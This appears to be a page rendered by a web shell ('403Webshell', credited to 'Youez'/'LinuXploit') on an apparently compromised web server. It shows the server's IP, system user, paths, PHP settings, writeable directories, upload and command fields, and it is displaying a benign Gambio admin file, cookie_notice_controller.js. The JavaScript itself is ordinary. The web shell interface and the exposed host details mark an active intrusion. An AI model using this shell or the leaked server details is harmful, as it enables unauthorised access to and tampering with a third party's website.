403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/javascript/engine/compatibility/laws/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/javascript/engine/compatibility/laws/cookie_notice_controller.js
/* --------------------------------------------------------------
 cookies_notice_controller.js 2016-09-09
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2016 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

/**
 * ## Cookie Notice Controller
 *
 * Compatibility module that handles the "Cookie Notice" page under the "Rights" menu of "Shop Settings" section.
 * The data of the form are updated upon change and this module will just post them to LawsController. Check out
 * the fields that are language dependent, they will be changed when the user selects a language from the language
 * switcher component.
 *
 * @module Compatibility/cookie_notice_controller
 */
gx.compatibility.module(
    'cookie_notice_controller',

    ['loading_spinner', `${gx.source}/libs/editor_values`, `${gx.source}/libs/info_messages`],

    function (data) {

        'use strict';

        // --------------------------------------------------------------------
        // VARIABLES
        // --------------------------------------------------------------------

        var
            /**
             * Module Selector
             *
             * @type {object}
             */
            $this = $(this),

            /**
             * Module Instance
             *
             * @type {object}
             */
            module = {
                model: {
                    formData: jse.core.config.get('appUrl') +
                        '/admin/admin.php?do=Laws/GetCookiePreferences&pageToken=' + jse.core.config.get('pageToken')
                }
            };

        // --------------------------------------------------------------------
        // FUNCTIONS
        // --------------------------------------------------------------------

        /**
         * On Form Submit Event
         *
         * @param {object} event jQuery Event Object
         */
        var _onFormSubmit = function (event) {
            event.preventDefault();

            // Prepare form data and send them to the LawsController class. 
            var postUrl = jse.core.config.get('appUrl') + '/admin/admin.php?do=Laws/SaveCookiePreferences',
                postData = $.extend({pageToken: jse.core.config.get('pageToken')}, module.model.formData),
                $spinner;

            $.ajax({
                url: postUrl,
                type: 'POST',
                data: postData,
                dataType: 'json',
                beforeSend: function () {
                    $spinner = jse.libs.loading_spinner.show($this, '4');
                }
            })
                .done(function () { // Display success message.
                    jse.libs.info_messages.addSuccess(jse.core.lang.translate('TXT_SAVE_SUCCESS', 'admin_general'));
                })
                .fail(function (jqxhr, textStatus, errorThrown) { // Display failure message.
                    jse.libs.info_messages.addError(jse.core.lang.translate('TXT_SAVE_ERROR', 'admin_general'));
                    jse.core.debug.error('Could not save Cookie Notice preferences.', jqxhr, textStatus, errorThrown);
                })
                .always(function () {
                    jse.libs.loading_spinner.hide($spinner);

                    // Scroll to the top, so that the user sees the appropriate message.
                    $('html, body').animate({scrollTop: 0});
                });
        };

        /**
         * On Language Flag Click Event
         *
         * @param {object} event jQuery event object.
         */
        var _onLanguageClick = function (event) {
            event.preventDefault();

            $(this).siblings().removeClass('active');
            $(this).addClass('active');

            // Load the language specific fields.
            $.each(module.model.formData, function (name, value) {
                var $element = $this.find('[name="' + name + '"]');

                if ($element.data('multilingual') !== undefined) {
                    var selectedLanguageCode = $('.languages a.active').data('code');
                    $element.val(value[selectedLanguageCode]);
                    if ($element.is('textarea') && $element.parents('.editor-wrapper').length) {
                        jse.libs.editor_values.setValue($element, value[selectedLanguageCode]);
                    }
                } else {
                    $element.val(value);

                    if ($element.is(':checkbox') && value === 'true') {
                        $element.parent().addClass('checked');
                        $element.prop('checked', true);
                    }

                    if (name === 'position' && !value) {
                        $element.find('option[value="top"]').prop('selected', true).trigger('change');
                    }
                }
            });
        };

        /**
         * On Input Element Change Event
         */
        var _onInputChange = function () {
            var $element = $(this);

            if ($element.data('multilingual') !== undefined) {
                var selectedLanguageCode = $('.languages a.active').data('code');
                module.model.formData[$element.attr('name')][selectedLanguageCode] = $element.val();
            } else {
                module.model.formData[$element.attr('name')] = $element.val();
            }
        };

        /**
         * On Switcher Widget Click Event
         */
        var _onSwitcherClick = function () {
            module.model.formData[$(this).find('input:checkbox').attr('name')] = $(this).hasClass('checked');
        };

        // --------------------------------------------------------------------
        // INITIALIZATION
        // --------------------------------------------------------------------

        module.init = function (done) {
            // Bind form event handlers. 
            $this
                .on('submit', _onFormSubmit)
                .on('click', '.languages a', _onLanguageClick)
                .on('click', '.switcher', _onSwitcherClick);

            $this
                .find('input:hidden, input:text, select, textarea')
                .on('change', _onInputChange);

            // Select active language.
            $('.languages').find('.active').trigger('click');

            // Set the color-preview colors.
            $this.find('.color-preview').each(function () {
                $(this).css('background-color', $(this).siblings('input:hidden').val());
            });

            done();
        };

        return module;
    });

Youez - 2016 - github.com/yon3zu
LinuXploit